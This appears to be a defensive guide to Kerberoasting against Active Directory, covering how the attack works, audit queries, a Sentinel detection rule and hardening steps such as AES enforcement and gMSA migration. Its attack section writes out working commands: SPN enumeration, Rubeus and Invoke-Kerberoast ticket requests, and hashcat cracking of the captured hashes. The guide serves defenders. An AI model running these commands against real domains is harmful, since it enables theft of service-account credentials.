Kerberoasting: Complete Attack, Detection & Prevention Guide (2026)

Kerberoasting is one of the most consistently effective Active Directory attack techniques because it exploits a design feature of the Kerberos protocol, not a vulnerability. It does not trigger lockouts. It does not require elevated privileges. It cannot be patched away. The only complete defences are architectural: strong encryption, automated password rotation, and minimum-privilege service accounts.

Breach Scenario: The Service Account Nobody Remembered

What is Kerberoasting?

Kerberoasting is a credential theft technique catalogued as MITRE ATT&CK T1558.003. It exploits the Kerberos authentication flow: any authenticated domain user can request a Kerberos service ticket (TGS) for any account that has a Service Principal Name (SPN) registered in Active Directory. The ticket is encrypted with the service account's NTLM password hash. The attacker captures the encrypted ticket and cracks the password offline — no interaction with the target account, no lockouts, no failed logon events.

How the Attack Works

Kerberoasting follows four steps. Steps 1–3 take seconds inside the domain. Step 4 happens entirely offline on the attacker's hardware.

Step 1 — Enumerate All SPNs

The attacker queries Active Directory for all accounts with registered SPNs. This is a standard LDAP query any authenticated user can perform:

# Native PowerShell - no special modules required
Get-ADUser -Filter { ServicePrincipalName -ne '$null' } -Properties ServicePrincipalName |
    Select-Object SamAccountName, ServicePrincipalName

# Or using setspn (built-in Windows tool)
setspn -Q */*

Step 2 — Request TGS Tickets for All SPNs

For each SPN, the attacker requests a Kerberos service ticket from a Domain Controller. The KDC responds with a ticket encrypted using the service account's NTLM hash. The key insight: the KDC does not check whether the requester actually needs the service — it just issues the ticket.

# Using Rubeus (common attacker tool)
.\Rubeus.exe kerberoast /rc4opsec /outfile:hashes.txt

# Using PowerSploit (built-in PowerShell, no exe required)
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash

Step 3 — Extract the Encrypted Ticket Material

Each ticket contains a section encrypted with the service account's password hash. The attacker extracts these hashes — they are in Hashcat format 13100 (or equivalent John the Ripper format).

# View captured hashes (Hashcat format 13100)
Get-Content hashes.txt | Select-Object -First 3
# $krb5tgs$23$*SQLSvc2019$CORP.LOCAL$MSSQLSvc/SQLPROD01:1433*$a3f8...
# $krb5tgs$23$*IISSvc$CORP.LOCAL$HTTP/intranet.corp.local*$b7c2...
# Each line is one service account hash ready for offline cracking

Step 4 — Offline Password Cracking

The cracking happens entirely on the attacker's machine — no further connection to the domain required. RC4-encrypted tickets are cracked significantly faster than AES:

# Hashcat - RC4 ticket cracking (mode 13100)
hashcat -m 13100 hashes.txt rockyou2024.txt --rules best64.rule

# Against a GPU farm: 14 billion guesses/second
# "SQLSvc2019!" cracks in <1 minute from any common wordlist

Your Attack Surface

Every user account with a registered SPN is a Kerberoasting target. The attack surface is larger than most organizations realize because SPNs accumulate silently over years:

• SQL Server service accounts (MSSQLSvc/server:port)
• IIS application pool accounts (HTTP/intranet.corp.local)
• Exchange service accounts
• SharePoint service accounts
• Custom application service accounts
• Orphaned SPNs — registered for decommissioned servers, never cleaned up
• Admin accounts with SPNs — the most dangerous category

Find Your Vulnerable Accounts Now

Run this audit before your next team meeting. It takes under two minutes against any domain size and generates a risk-scored CSV.

Quick One-Liner Audit

If you need a fast answer right now without downloading a script:

# Count Kerberoastable accounts and flag RC4-capable ones
Get-ADUser -Filter { ServicePrincipalName -ne '$null' } `
    -Properties ServicePrincipalName, 'msDS-SupportedEncryptionTypes', PasswordLastSet |
    Select-Object SamAccountName,
        @{N='SPNCount'; E={$_.ServicePrincipalName.Count}},
        @{N='RC4Capable'; E={
            $enc = $_.'msDS-SupportedEncryptionTypes'
            ($null -eq $enc) -or ($enc -eq 0) -or ($enc -band 4)
        }},
        @{N='PwdAgeDays'; E={
            if($_.PasswordLastSet){ [int](New-TimeSpan -Start $_.PasswordLastSet).TotalDays } else {9999}
        }} |
    Sort-Object RC4Capable -Descending | Format-Table -AutoSize

Detection: Event ID 4769

Kerberoasting is detectable if you have Kerberos Service Ticket auditing enabled. The key signal is Event ID 4769 with encryption type 0x17 (RC4-HMAC).

Enable Kerberos Service Ticket Auditing

If not already enabled, configure auditing on all Domain Controllers via GPO:

• Path: Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy → Account Logon
• Setting: Audit Kerberos Service Ticket Operations — Enable Success

Detection Indicators in Event ID 4769

SIEM Detection Rule (KQL / Sentinel)

// Azure Sentinel / Log Analytics — Kerberoasting detection
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"  // RC4-HMAC
| where ServiceName !endswith "$"        // Exclude machine accounts
| where ServiceName != "krbtgt"
| summarize
    RequestCount = count(),
    DistinctSPNs = dcount(ServiceName),
    SPNList = make_set(ServiceName, 20)
    by Account, IpAddress, bin(TimeGenerated, 10m)
| where RequestCount >= 5 or DistinctSPNs >= 3
| order by RequestCount desc

Prevention: 5 Controls Ranked by Effectiveness

Set 100+ Character Random Passwords

For service accounts that cannot yet migrate to gMSA, a 100+ character random password makes offline cracking computationally infeasible regardless of encryption type. The password never needs to be typed — only the service logon uses it.

# Generate a 128-char cryptographically random password and apply it
$bytes = New-Object byte[] 96
[System.Security.Cryptography.RandomNumberGenerator]::Fill($bytes)
$pw = [Convert]::ToBase64String($bytes)  # 128 printable chars
Set-ADAccountPassword -Identity "SQLSvc_Prod" `
    -NewPassword (ConvertTo-SecureString $pw -AsPlainText -Force) `
    -Reset
# Store $pw in your PAM vault — it will never be used interactively

Remove Unnecessary SPNs

Orphaned SPNs for decommissioned servers are invisible in most monitoring dashboards but fully visible to Kerberoasting tools. Audit and clean them up:

# Find service accounts with SPNs that haven't logged in recently
Get-ADUser -Filter { ServicePrincipalName -ne '$null' } `
    -Properties ServicePrincipalName, LastLogonDate |
    Where-Object { $_.LastLogonDate -lt (Get-Date).AddDays(-180) -or $_.LastLogonDate -eq $null } |
    Select-Object SamAccountName, LastLogonDate, ServicePrincipalName

# Remove a specific SPN (after confirming with application owner)
Set-ADUser -Identity "SQLSvc_Legacy" -ServicePrincipalNames @{ Remove = "MSSQLSvc/SQLOLD01:1433" }

Enforcing AES-Only Kerberos Encryption

Before disabling RC4, audit what your environment currently uses. Disabling RC4 on accounts or domain-wide without testing first will break legacy applications that do not support AES.

Step 1 — Audit Current Encryption Types

The script below inventories all accounts and their supported encryption types. Run this first, before making any changes:

Step 2 — Enforce AES on Individual Service Accounts

Once compatibility is confirmed, set msDS-SupportedEncryptionTypes = 24 (AES128 + AES256 only, no RC4):

# Enforce AES128 + AES256 only (disable RC4/DES) for a specific account
# 8 = AES128, 16 = AES256, 24 = both AES types
Set-ADUser -Identity "SQLSvc_Prod" -Replace @{ 'msDS-SupportedEncryptionTypes' = 24 }

# Apply to all service accounts with SPNs (after compatibility testing)
Get-ADUser -Filter { ServicePrincipalName -ne '$null' } |
    ForEach-Object { Set-ADUser $_ -Replace @{ 'msDS-SupportedEncryptionTypes' = 24 } }

Step 3 — Domain-Wide RC4 Disablement via GPO

For a domain-wide policy, configure via Group Policy on the Default Domain Controllers Policy:

• Path: Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
• Setting: Network security: Configure encryption types allowed for Kerberos
• Enable only: AES128_HMAC_SHA1 and AES256_HMAC_SHA1
• Disable: DES_CBC_CRC, DES_CBC_MD5, RC4_HMAC_MD5

The Best Defence: Migrate to Group Managed Service Accounts (gMSA)

A gMSA uses a 240-character cryptographically random password that Active Directory automatically rotates every 30 days. The password is never visible to administrators, never stored in a human-accessible form, and never appears in a password manager. Even if an attacker extracts the TGS ticket, cracking a 240-character random password is computationally infeasible.

gMSA vs Regular Service Account

For a complete gMSA deployment guide including prerequisites, creation, delegation, and migration steps, see: Service Account Management & gMSA.

Incident Response: Kerberoasting Detected

If your detection script or SIEM fires on Kerberoasting activity, assume the attacker already has hashes and is cracking offline. Time to remediation matters.

Compliance Mapping

Maintenance Schedule

The tasks below are integrated into the AD Housekeeping Tasks schedule. Use the anchor links to jump directly to each row.

Resources & Related Articles

EguibarIT Guides

• Kerberoasting Detection Script — PowerShell script monitoring Event ID 4769 with threshold alerting and CSV export
• 17 Active Directory Attacks: Five Eyes Detection & Mitigation Guide — Kerberoasting in context with 16 other NSA/CISA-documented attack techniques
• Service Account Management & gMSA — Complete gMSA deployment and migration guide
• Credential Theft Defenses — AES enforcement, Credential Guard, LSASS protection, and Kerberos hardening baselines
• AD CS Enterprise PKI Hardening 2026 — Certificate-based attacks that often follow Kerberoasting when service accounts reach CAs
• Active Directory Hardening Checklist 2026 — 47-point checklist including Kerberos encryption enforcement and SPN hygiene
• AD Housekeeping Tasks — Kerberoasting tasks integrated as Daily #64, Weekly #52, Monthly #54, and Quarterly #46 in the maintenance schedule

External References

• MITRE ATT&CK T1558.003 — Kerberoasting
• NSA/CISA Advisory AA22-335A — AD Attack Techniques
• Microsoft: Preventing Kerberos RC4 usage
• ADSecurity.org — Cracking Kerberos TGS tickets